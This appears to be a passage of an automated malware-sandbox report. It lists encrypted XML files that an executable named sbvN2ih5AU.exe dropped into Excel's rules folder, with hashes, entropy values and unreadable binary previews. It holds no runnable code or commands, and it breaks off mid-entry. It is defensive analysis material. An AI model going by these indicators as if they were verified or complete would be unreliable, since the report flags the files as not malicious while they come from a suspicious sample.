Preview:	<?xml-......iG.... 3..H...V<T...rI........t..A.xP.........7.9.-R.c.T...........%...Z..Z...hu.7S,...hJ....t....71Z.I#.Y.......C.p...,o...m..P..v}Z....2.\|....j[....o..uHQ....=VS#$.w....do..O.o.T.+E%j3.\|.@..G..2..H..J_..;.5..E8.....z.9......\....4.>..,. .m...H-Q.j...j.....^....../.....t.z..u.Py...P'.(X...fd.).=.i=Q.Q.,...9......8`.....C..._.bZ>NF 8.x~....>.....M...A....8I@a.._.2........H....;.e.L........OX.3UjX..#.].'-..}....SQg k..N..........f..D.YTR..vJZ...:.U..`K....._..P..D.e...%]..C5..C7.!l K........h.V...M..a..8..8.....>w......kJ..6m...q.A3...`?........N.(.F..S.....k...d.H%.$....MYux....8M..w."\......A....I.O-.P........K........N$....\|..?.9.%..$...I7!V6.......ST..J.A6.tt..."..3.....O...U.2..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.697093762029993
Encrypted:	false
SSDEEP:	12:f9PbM02dxFGEJ0XWuX5m+SFanK4PO1A1m7fjqDaQL5gjCAnu3dfY7SUdNcii9a:f9zM09gPuX5mnFanKF1A2QLYCAn42W2X
MD5:	EA6CDE78AEA222912347B5D4DF4717FB
SHA1:	BA5DE97CD4EC626AF3819D703E5EA53508AE01E1
SHA-256:	5369DF0A31EF421C7EA1EC3C3E64766B91866EC3636188DFC6C95AD6C7EE850A
SHA-512:	108CFA52E9BC798A6AA8AD2C67FEAA06A505B38DCBD8CABBEC6F52D6C2AA44E9F3A166A7DB3B94790B92A2966308F941B1D40BA75D16CECCF150965BB645A8C4
Malicious:	false
Preview:	<?xml..Z..[..G......W.H.%.J..[.O.M.~g...J$i...oU..)P$.`.7...........$..#..'5.-(.....L.#.......h..N.......lu.6.kw..E8aC C.#N.N2C..LFM.....#".E.q..O..t...r.]..xK.......=.X=.l.......}..M=9.!/=..........vOo......`...n.cq....)o..U..c..R...;..8.E).[.W. .~.<.{..Q;..5.j...@.{..'..:r..^...~.x..1....N...s).O.+.....b.{..\|=$......%....x.&........)....m@".5.Y[.....k.`..A......t6.D..$.:S..:.+.......O..C... SA..8.f.D.iIc....O7............d.W...g.Y.zlX.t......rqy....[......c,.7.P._6X......!%.....S^+..:....p.d.A$c...V....E...6*/..Nh.....Y..p...".k!.p....^...k.....I....../%)N.k.n....=.P.d).A..~$....RB%+..F......0.....Gl...'2r.s...........=y..~NmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.701862359839567
Encrypted:	false
SSDEEP:	12:tqx2mNX7MKWaAHqy6w100EwISeRtG4iNEtZ6YHgwIeO84FyBwJM7ZvJISUdNciik:tqTnWaW96whESentG0g+O84Forv2bD
MD5:	5CC9EB2904B38791D653A16A135E055A
SHA1:	74D3A5888ADCF9C312216E8A9A5045F34D23AA5C
SHA-256:	CDA8E18E84C5C13FF2BADC99DA422E9A0304980E1679F5C138DF645894DEC24A
SHA-512:	FF07629BC71D9B927F924B8DEDB810E91AA245D61C4F6FB580BAA3B8FBC4F6DD22F627E10FC38F4068FC54BA69D218427C6759EFEB1A282107F84BF250E32F92
Malicious:	false
Preview:	<?xmlr..n......{V..h..{ @0....&...@7..9<$.......3..8lg.Z..g.u.A.._.1.T.......F.iB.Pv.>...Qq;...Mt....,}.r....a(....n8...1..V ...W.s..r-..l..)...j......pW.~..R............L..?I. ..8;...zyq2..iS .m.....&!6_.(...L.#."....n]r.v_...)...J...5O..(.P..d.R".....,k!q....K..~......?j.....w?B.4..(..n......w{.?XJha....5.....H...p.c~.`....m...8x..Q...>..v_....I{..j..;....8.W...h...Y...,G...e.h9.B)o\|.v..<#..g2.!q@<.4....kz<a.9(F..mC.[.....;(.:....R~C......./9......D#QJ...8.Ahc.Be..:x!v.....p...iv.Mrr&dQzpZO.wKU.0g....}...i..X..<d..g....G.. ..Z.........&..o.d...pj,-.p..n..5...s-..t..W.)..C...{ok7..c...@...o.@.B....$...B}.I........\|.t".......=gA.".Rn$..j5...pCH/......(.+b.P2.}."O.>%..l...?...8D.2FC.*....C..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.679705491511349
Encrypted:	false
SSDEEP:	12:a9EsQJ0j8wUdOn02t/akvkxe9dgNx6lpUbLAOa5igpsV23800amOFw/rECTLKFxB:2E50jTUENtCBe9dgNxIpqP0/C2M1/rEv
MD5:	5F94B59694ED3A4CC3AD3DA429F58C89
SHA1:	8584757BE89B5FA361FFE1DD396E00CD15A8676A
SHA-256:	DABC0870FAFE154EE8736FDD7C388C9AC23C18A691BF5ABD43A4E133B3EE7C36
SHA-512:	61B1F712568167D563BAB9F3E61D90A99A0AA0388D9F2C72BB9D9E89980855F091656A7FDCFFC629964CC0580B7A807F5E48E95AF4C4CC950DEBE4861BDD3053
Malicious:	false
Preview:	<?xml(2.-...k.....Q-.G..0.6.}B.l..&I.<.gtl#.+.f....p......4..$....I..b...Ym..s...........2.....v...2."......[.....9.,..<..\&W.~..zC.\|.\|._`$>.....pl].'...l{7x.mV.I.....Z.S$..g.z.......E..g...............#.....n..9pGa.)3.,OJ3..>...")......90..............&....tk=m\.ejo...b..x.xx<+1.0.M.zW;..).D,B..`..?.L../..D...t..)<c......J\|..8ze..g.t..D/ z.Gtd...<H5R...1.....Q....4 ..eb.s<)XE....W+sX:....(....P....!\..h.lJ.\|~...8......=.6 ...BFR`.;.C]...v[a.C..O..v.].K4.3].T.S><...>....7.p....n{M....`...R......Z.?. ..Z..].6.]C..7......l..d......IL1........!B...r..t...WZ=....3JE..amQ?..(>l^.....J#.t..H..(.._.I.I.....I).f.~..>z!..d.b..>C.j....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.758538448251625
Encrypted:	false
SSDEEP:	12:XbBg4VQfhR7Yx/4i9kVcpJMBxguerdlraJCbP2BLf6fbtbWD2qoNqQAA0aOVMSUn:XbWoQTDaCcHMjneiOPmSf5H0Qkh2bD
MD5:	DAC35012FA2F8D023CD2D11220B70A03
SHA1:	CD79F50BDF2C62934088A3ACE0945F7A85C5A438
SHA-256:	B52626CA5D3088A877E1BFF0BBC497B51BD8D31A18BC42DA0518F12AB2C6BE92
SHA-512:	391CBB2C06D4295F04DC67976CE9CCC9270C82D3F8B0F0484D5DD01FCBD99FD7CF3F1BA608877364C886B7C85D751F3E1459C3376C0E57C2ADC74EBBDBAAFA78
Malicious:	false
Preview:	<?xml...+.Y.[..t .).M6W..2.......8.k.].:.!...1......S.f....1....V......DQ....+..t......us..I6............D.v^13..\|J/...7?..-....f.b.:Y.}....d.!......?S,.......k.g.n.".3..i.Q.b #J....d^.#u...k);e..(7:x.J.\....D..oA.'TT]a_..d.J64E........Y.9.B.fc6.;..@...2.7.i..l.+l..P....r...@8...$..Q.n.h........gh.,X.....aK'$.......`.....4...]...eU...:Y.U...j..8P..n-.Of....9b.J..L..f.2..L&.Q.....>K.t+.s.(4}.j.].]Rl0.............Q.....k.....K..b..D\C...A.Y\V......E..#_...p.(2v..O..A..(...].(..6..N.`........iX.3j.w2N-.[.......<.../...[og.......W&...A.5Dp]T...G=..........os&.......D.....=d...n.~..`(u...C.g..W...{p#.!...X..T....^L.k..Lm.9.q).J..L..9.W@B....L.h&eEkVHQ._.0Z'..a0....n...dHd....+p...^mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.678546410412448
Encrypted:	false
SSDEEP:	12:897qo/v9GCbg/f5YWuTshL+ip+WQ+jocu1uhgJgSv0EJcAKZQbmkhsM9mZQBBobE:qACbg5+G+W2+jJu134mz9mWo8S2bD
MD5:	A834C24140C1A9A93EC62BDEC1125E74
SHA1:	F81C7E2F13846A3D615CEA62721046BBDB4B2D18
SHA-256:	34176C46185B7FA5D46CC8F574CC8A23D6CA4F64993B9362B85D73E9F5FFB1CC
SHA-512:	696349A13097B2FE20173DE6CE25FE190917B344FEF45667A326A954BEEF77C92A60594891F588CD0360A05539DEA7AA6F479113A84A51E820A734B881015861
Malicious:	false
Preview:	<?xml.W.-..'..1.0.&..>...+`/...-..0d-....4_...\|.....qw....1xI..r..{.Z...Z.jK.!]l.U[..D.D...7.B7.i...W+ .Gl.!.. .T..]%++.L/...4.p.c.C....bqv9].U.7.kk..JY.K..u.)!......{...A..z...e.;E.e.../....c.XX....!......g.J.:{7P.i.#]..DUo.rt..pMA'wkF3...zZ.....b..cS!.K..75.Q..w@...H=..>.xG.)[.......~Qq..$>kr].,.`8k8..v..<?48.(..T...u..Z./.o..Z...........!...o..>...N..{c.P..r...-.Lus....X.z....h.E..?..1.T.?...1..,.......N.X..z..Y.n..P.P..J.A..T;.7s..xI..H8l.c.#........b.Y..Q)..n.M.*.]b.o7(......2.......s.u.y.........z...o.8D.C..h\|.........p..!..+L..?AS.s....~..s.....P-.B.....U\... S....+..Z..O..r........\.....r.Xbh.......g[n-..:..V....lC.vmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.743644658986727
Encrypted:	false
SSDEEP:	24:jsAxKc0leKBrYU8iJVAOMthGcy3pV62bD:jKcLQB8igthAD
MD5:	262FA6F4DEF00CD165C739406529E27C
SHA1:	303EE3EF21BD78C3DE8B3D6D1BE5FC9ADF28267E
SHA-256:	4A2CB9B482D9F761B7F0D29D90CE355160C08AFBCC43C7BCDE9E753F6080156B
SHA-512:	B1E5C957F452323A280F3D316F7D24217841FB4571C15E21F0752E991376DF219B04E377AEF256C1FC98A6FD7218E8CC998931D4BDC8CA73583685597412DF09
Malicious:	false
Preview:	<?xml.74e.B.B...[....".Y......x/.hFqe.H{&..mn2...".8qh..e..2....?f8..6.3.3Nym..5R...T.M...[w..`.....X-..r.L{.C.q.<..p.(..;.o...G..n..S.....M.;.....v...c.{\..\|.t[.............6..d.=p...R/.....i.t.\|.~...n..E.O..R\.N..N<.[..3p.K.....e.Ip3.eD...=_>...6..O-..........hdE.......i.....W....h.7Kb...@.....$l....^.#.....{..t...........F.....Q@:..........!E..<..$.X./1[.f..l{W!..k...7.Q!.Gw...0&..3d.'..Y.7.........1.....Z$.....h.Q@.,.D.......V...U.d.k.9.G....hy...2.dGd...o..a...z....x.....%..^.:K?...m..p...........]...v~...~..]....V.$....7n....E.8..~5TR..\|.(.DJ.;.e.7..`..Z.....7.dy.5.l...M..{......T...7............}$.@\.~ke....;....;.m..= #.oA.D...Y.v..Y..I~R..UuJ....i.S.".c.D.'.u.j6^.u%mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.713580461614263
Encrypted:	false
SSDEEP:	12:Lufi4/q8zGjU9jL4ciwuIgrk9ivif70BHlIyXRzOOuHj6/13dCkydt2tEzcpsFSw:qfi0RCjyivIqieif746yhzOlj6/ZTyd/
MD5:	3DB233EE1BACC73FC1B03F9F1D7F7807
SHA1:	FCBF28658B32D00BBAA7137B60201115285DE175
SHA-256:	D662D741A71FB7FDA9F6237BD89CFCF33B6A113A608541874EFC443758B2AD3F
SHA-512:	ECFEA6F13BB65D46844AC648D733802457539B685BFA9440E67DCB0C6F4518703CA261FD3EC91635D2D3C44B7AB08BBB886D9A8FF7AD3B217202593483C658E1
Malicious:	false
Preview:	<?xml.j.......K......m.....f`ZJ._N..r....."....."T..4a.(.........C. ..+j;,).gntb...j....FZ..a".o.)..%....*-.xn...`E...L~.'.q..z...$_M..w.)&..6......o..~E>...gQ.....`..F.....W.6....[...B...Zw..5......'..x~...U.4.O...@.....>.dC.....@........KH...Z......-_.k.2.s2.2../.)@.T.f.v.`.PP?..b.....@....%.a.....1......:i;.QuS..>..>.B}..+GA.(.md&D......F...c./...\..:..6................oh..........(.B....u..f....WQI,..iKW.I...o..Y.t..b.c._[.)Z.]..'H..-.O.1..jC.7......-..Mw..}..=.u......(.zX....5.I+...U:r.%,yp_,.7.`:..PV. .D6.x..+>..r...X@....#E...."_..u=.w..0e..A.5.]D.....p..2.....n.N\|.` g?2..e'.~.p....c.;..x.T._....L4.. ....Wi...m '.. ...q..}..HmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.693965405158543
Encrypted:	false
SSDEEP:	12:UH/DXTXJNXuts6JwPBjqt/eQV3BFnXdOhw9Kyft9qUYASgaHgja5einSUdNcii9a:ULXTXDXutsF5wJBFnXYhwFhGgaIj2bD
MD5:	25A675932811D19AA242CA424C74EA42
SHA1:	FFD9D325EA0DFDF7EE339280C707AA4D46D724AA
SHA-256:	17EE33F1EF541B0DB7E0E5A9F71AAD68DA9130E3AC19B7876481960F80ED20D7
SHA-512:	5FA4E989D71BA2AD2D5646C5D9ED837D91B849795C4B139E52E197346F8070432A86AC852F8D2E9FD42BD25B83A0F7C7CE0EE1CF0BF958969ADEB451080C1FD8
Malicious:	false
Preview:	<?xml....=O......%r...?Z.^.....i.qi.;<..2,.,....8\|...v..x03P. ..C..[m...M...5.C&].iH...+......1....v.m..W"]dF..r\.....{...;...w<j+QA.....E..O....8.....LI.K...]1.DUP..../......+B.+"....Q.c.^UnWA..7.A...T.~..T...]n..xu...i6..._..X.Z..z...'../.(..~.!Z..4A.&x.&..)N.W.tfG..\.w.N.\....re...E.....Pr.H..}..x..b....A.....\|.........:M..Ux-.W.7v..9...S.k.PW4...A...1...A56..aH.S...A."._f.Sk.f5.0.zm......`._..\....Q...l....>...1..^.......$.C.9Go..G...i2.D%.5t.T.....2..T..r%...r..&b.@b.5.\|K..=......0R.K.'4.........C\|..E.m..-..b.&...E^.:c..c.../...5U..n."r.rNT..vGC...P-.o..,c..........(..:...7TGB...T..=..c"..Y..5....Q...H.l.cSjf.<1..=..l....(..\.@..>T.....TQ.v.s.S..\.%}r....4L.Za...R.z......3./-..VZ..xNUmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.662500860707506
Encrypted:	false
SSDEEP:	12:oEQ3TWnncfxC3OTUIGIj9r/sdMrsom46TZb7KxbXMJrhAIekQFNcMpLLFx0S+DAV:oEQDWnc5CTIGSti11TRIXY1eh9pLLFxp
MD5:	6D46358A46CFCF7EAB2FC1BC41A0B775
SHA1:	41F9514EFC77EAFD59C291FFCF78E7729F4EB3EE
SHA-256:	140E16BD09537A7212B0C5A992BAD08106B2F360C2E697B17ABD796E643A1F0F
SHA-512:	4B45F55D4A45BAB6A217E7BE49F74F4CB0660AC72CAF863355C358D6828AF236E38DFD30ABE912E5364BAF2664FC56C749D01BFCA5ABD047FC0645643C80E9BC
Malicious:	false
Preview:	<?xml.~...G%..I.)o..`ly..n..&n.6H.`]...gV..^.B..^.a.b3..T6..w...u............fB..nb..EI=`.?..%W#.[...uvz..w...x@..R.n...T.1 ~.?.<m.......)4;XQ]..c8d..Y.T..zz0.e.=..gcb`*....n...61..~,...E.72vm7S$..-...ag......V....^>...f....w`.C%.....Y.&G.1.p...3..D.....e...~..p.Xf^`.Y.W.y#.C.......8[?.........3.C.....7..2..g.I.]+zG...Wi....-f.i]..~....3I....NcX....":z.Q.....D..Po...T....(.D.i4sYR..C.^. ....[..\|...<.8}c_..r ...11..`...+..K.<...>.9..[..X...id5.....v.\|.^...')..N..-..o...vq.s......o..'.x..:.....S...H.m...$-T.o&.".G.A.:.".....i....}.....S._...d.. ..s..%...O..s...Nxa.)......q1.....x o>QI.7.A.c.dNlZ.......u.T..N.n.....E..&.<.mD.Z.]....K....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730709906207305
Encrypted:	false
SSDEEP:	24:NRn/c8wRTOC7XrPHiYA6Xtk/apImGxdOH98wgT2bD:j/xwxbjrPCYA6Xtk4fCdWgAD
MD5:	A09C138E4D16058EC85FDAE0B376D43A
SHA1:	4A5A2EA5DB3200C961E74AC4AA0C3B9A1050DB1C
SHA-256:	AE64F8E6970E31C410E403FCCC8CDB5EA1599E22D24DB4A6A3444F8707FDCA0B
SHA-512:	096C11CE2B6B47F40C036F1EC777717A1918297F1A2D43244179E21623BCE3628FA0508FB987228A8C016C252997CDB29C6C63C0B6D526A6F399A69761C16A98
Malicious:	false
Preview:	<?xml....4.l&.....N ...0..v>z...n.....C}U..Xmp..`....i.^.N.p.n.........(....[....[3,.mq.uR:u..1.\......ngUQ.\|K.R5...@...Z.B.. F).8vw.o...C.S........Dl..}............4...k...N7.q3.Lh9.m..e.e.(f$.b.P.+..i...f.)9/W......S...j.D..%..g`..........)K.....(..`~x........b..W`T..=.....?..B...8w.h....4...r....$..~...l..Y.....(..$v..1M..f.........9..D.Q.\|m....?...4l.....7.y../.F....x......8.ee.........&...E...x...,.GY."./7.....0x.@^.V...j.....[............Ld......h.>..8......L......Q.O}O#.(hv>...".%.9)...0.9.M?....1jN.c.rh.a...b.BO.C....f.^.&.*.....)..O...p..K^...L\p....-bS.c.O....l..z.B..k.\.$.p..1U7....:.V.:'l..E@".1..@..LW..5.....v.Z..Q..j.'...Q..'....[,..)...=F..u....0...P..J.g.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.772406871480962
Encrypted:	false
SSDEEP:	12:/Cv1CA+SS+M5tuQFxXQT7LK/1OzBTtne/nYdxWRFMKZZFjyZ4BSUdNcii9a:avIR2Uuw9Q3+/1OzBAwMRW6jyKk2bD
MD5:	4FB67EC8900469778AFBCADBD1B30613
SHA1:	D16A81A0FBFF374231DC757F3980C8419B815317
SHA-256:	1669D999455676F31CDB08D5E10FC23B8829FBD311311F8400EA0EECD8FE3F99
SHA-512:	50D8BB6B76FEA2B524A3B0CF0667B1B6861B6BA7CFBE3E143952FB57F5E468BABF2FC7AB7CEA0241C8382050CBA2447B401C1B8150BEC8F3B9E1B685057BAF43
Malicious:	false
Preview:	<?xml.kJ.>.7b..u.'v...\|N..!Q..!.Z]...k.....~nc..NR....^...Q.H.q.i..q.]....{..Wb.n.4zJH..#.'..#).%..,.....-..k.P...sp.1?.^..1.Q..o...~K..F.6......-..Z....D8....#...\.2....z...e.._...:N<3..$dy..6m.l.kS,.......!$..v#......A.5.......$.I..7.....#4.\|.....<N..^...IW$=..+O.Z....k...X.KL=.....K.d.q..a........Rl.].(8.v.-I:q;......$.z.b.dJ/O.O.3..... J`.1K...2.D.9.."5..;.n.W.... 2.T$i...0.C.`6....\|>.\|..q.....\...."... {....m.....'...%S0,m.LPc........l.#l9..P.k...&p.n.4.........o+...Rf..t:T^$.f!......r?.1{.Y...>......+...l..J%..*.1.......6h..n.qz..O../]...1.8..M.OS0.\.^..`...........DiN.....D.Z......U.=..e[:<.:....:..!..L.....o`.).U.TbH.R'..."..M.a..,..-.:.u..! M. ....=.G..)-k.!..Q.MI~(.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.729135111362184
Encrypted:	false
SSDEEP:	24:ogWUiyixyt8IRDEjsc1PjZm8I1EMcEoa92bD:ogFibU8IYP1F3ND
MD5:	2DB54A41BE708114EB75028161AA9F06
SHA1:	31944D34EFDAA758AF6988C2D4DBBEF317982064
SHA-256:	D4571E94D3A973153C9B1F4898E88565E7F08C97D68E8D9FE644A8A215E1CBED
SHA-512:	149AF86A80281B3DC077543C19C15EE883A2621D06A303CF8E3FE13D2E7237B08DB6DBCFCEB54645D8FBA7DB7C853B035DB416374D5349DE54A9E454FB0FEEF8
Malicious:	false
Preview:	<?xml.1.....}......g-.LX..`..2D0.....j.(.w..0.......t..<....D.H.35RV.\....+....`....M...P...4..[e.9.....8c........8...BzUw...s...tq..T...>l..1.>..(..z.>7s0+..g....?...X......JoY..j..9R...c..Mj.N..;.4.9....<..n(..c......P`.......;.C..Q...`g.....h..,.1.X.u'R)..FQ.r....7..zX........d..E..,...a..c..y...M...._\....<..<...H3kVT..Z....I.uq].g0IWk..a.....sw.i..T...8...:...6k.-.j.Sk....l..Z...>.PO<.B...y.[...SL.%.......dt.~.."Z.2S...J.-.......G........'}..}......c...+.G..Y.Y.....x.L.A.......j..6.TA.X..........J4;.).&%.sYt.h.....9{B.^._.&.n..,7..]>...g.&F...$..@..G...T. .b..%..G..2.I...#(.C]C........~.I.....?.. @O...A....@...U..K.n...a..?..q..>.1.{....q......PK.;M.y[^..<.p&1s;.....P....3.Rz..Q.."mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.700866095761662
Encrypted:	false
SSDEEP:	12:QSwDwX3Bt2+fLWJMtqdd0tKZkWeZK6kNJVhA0jLw6lTrxGDNavMxGnLGZsDV9ZLo:QSwDDdfkrhkz/BjjlhGxNuDVX2bD
MD5:	11EC15AC5F707A3D5B72EDD722326AFE
SHA1:	EA214B7E98D2DB2F30E3B23BCFDA9046B45F00A8
SHA-256:	90963D7FF8D259101E1BCE42CD30EB01039008463ADF77173B92FCF6B7026C1E
SHA-512:	F095E2385F58D1C55248259F6FCB087DDBF256B0AF8E86F0C4B47C04AAA8949EFF5DB67DBECAFA222A485CFCA3924B015839114BFAC08C8E5B5874150A6E7433
Malicious:	false
Preview:	<?xml........@.'.}..26%._\|.......Z..sf.Vi..yy.).DG.Y=..x<S..d..............V%..vc....._.3.H.........+..\|Q.V... S.....K.rU.L.(....{.'B......p.....L.....k..v/..IY..0}.Sf....j,....m@Ox8.[...b....O.IEU..p...w.V...'S...H"...}~.<1..:p.+_.A.j.M,-.V.b..'....U4..~wKT..vk..{...N..>.rbh....U....f ....m.%../E....(zD!h#w#88.\....=.R\|.x1!y.y.....q..wb$}..k.~..5TR....5V.T%..R/..F..54.63z.......={.c...fzR...bN.P...H2.yL...{.&.lkEr..^ ..Z..6j..\..gB....`W.....}!......^.4TRV..`KhPjk.....8.....`Z4}C..7{...2....7g.sf.+.W.uY......).H;.g.}aK.q/....=.+...s...WF..X...v..`...c_.2...J.`&.A.2.p...M.}.h..m..S..p.....'u>.$M....6\|.......IXe....Y..t.#GmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.747049919383125
Encrypted:	false
SSDEEP:	24:manHJ8lAhgId/W1sLak4LE8CSBhaDSI2tDSOV2bD:mEGugyUHa8CSBhaSIkDYD
MD5:	BB97DBD036E9219858179BAA07672B2A
SHA1:	DB62BA6761B07773256E4A0E99E397976EAC0AEC
SHA-256:	8AE4787CE396FE4E601EC6D2F0E4B23145A64A30C56AF20744E079E7F2F3B42C
SHA-512:	2D146E7E9B44C02EF4928776B2B77C75FB7C38EC2DC604C079DEE3E434D6035440A755775AE70021A4AA5B3A501EA297C6151072EA3555285A583A999782C2BD
Malicious:	false
Preview:	<?xml..@.T..............B..L:.7..J.!..z.2..9...y.2.>./..w..1K.#.#L:>.F..4j.....O..]Z.:...._.."]..~V...."..QNE....w.."..n..;...51Y`.\.F.mp^..{.^..$..A?.%_t.6..p......I-....Oi...8P-~....T\1+.......Qyu......!/...bH3A..'e7.8,O..dLJ.71.Rec.....%..b..K.q......?T...:......y5}.eO^,......}0.F..'...h.K..T.#..@..-.6.....1..R...z.....F..}......W.....<1.N..F.:#C...dU..v8\|..4+S...o..pP...y.y..7..N..(f..i.]..}...d?.sn.[..._......W.rD..S9b..a...a.o%..e9....u..@/..... 5.l,.....dr ...].z..V..H."...P....2..^..>..$.4.n.'L...%....1Z?>.R.U.^ZNP.}..Km^.w..P]b.,.(.1.k.#......u.).1._.u$~@.g.;.z..i'.y6......Z..{.. ...[..R...u.....,...0..)..s.HQ....B...d..i......8.G).6..0.......j...i..`4.m.f....2.lx.a6....v2mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.674796480989314
Encrypted:	false
SSDEEP:	12:IwS5ur/+aYjWvIyIsp5VEdukMpA79JTvnXd/dF9VPft8zSUdNcii9a:A5tjWAyIsp5SMpAZJzVT9VHV2bD
MD5:	3A0AD9CE0065839BF72FB34B502E26D6
SHA1:	9FA716E651A4347C8A7FA40D11FD9E632BBBEED5
SHA-256:	848FC4A42453ADFA446ED373F99208E94B64D398C9D728538C2207D37ACFF58C
SHA-512:	D999090BE8FCCBE205F4FD06DA62AF7420851EFF4F8E4925C33EA4AE9B8351736BB9F7CDFA424B55EB8845972913A052800D46EEC519B492FF09BD710A9BE6B8
Malicious:	false
Preview:	<?xml...Pk..0.'......e..I...\..V.T^.j...m_T;dY....I.U...M..S.[.s...C...;...^..&^.4......_..x.8{...r....h#^.....E;.V..,.>:...w....\&.0I.....M.8[z....tIU..w..Y<...i./e.8P.j...-.+^%...P7....#."...z.A0..(~.0.c..j..U.Y...r..w.r...dt5.'..8.=.C...._.X>g,..5MP ...v.-......#.o....s...f...)..Q9.27AO...Et..GdV.T^z...Lj...T..C..... 2a.t .v.d.C........M6..`./%.-V.w.LY..xzta....c...o..(..t%.......\|.:f.d.......N.#......r0..s.dI..y....3LO....Y..6t-................w..m.[S..=...n.(..aNv$x..f..._.s.u..L.G.O....5....t.(..0.....8.@8....<....y.......sH..==aQ;.Q..-...2....a.M..--....R...+...-.e.v......y.e.......;.9~`...........6%.....R..o..$...Mx.....(.Mm..(e.g..=8:mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.739344006828056
Encrypted:	false
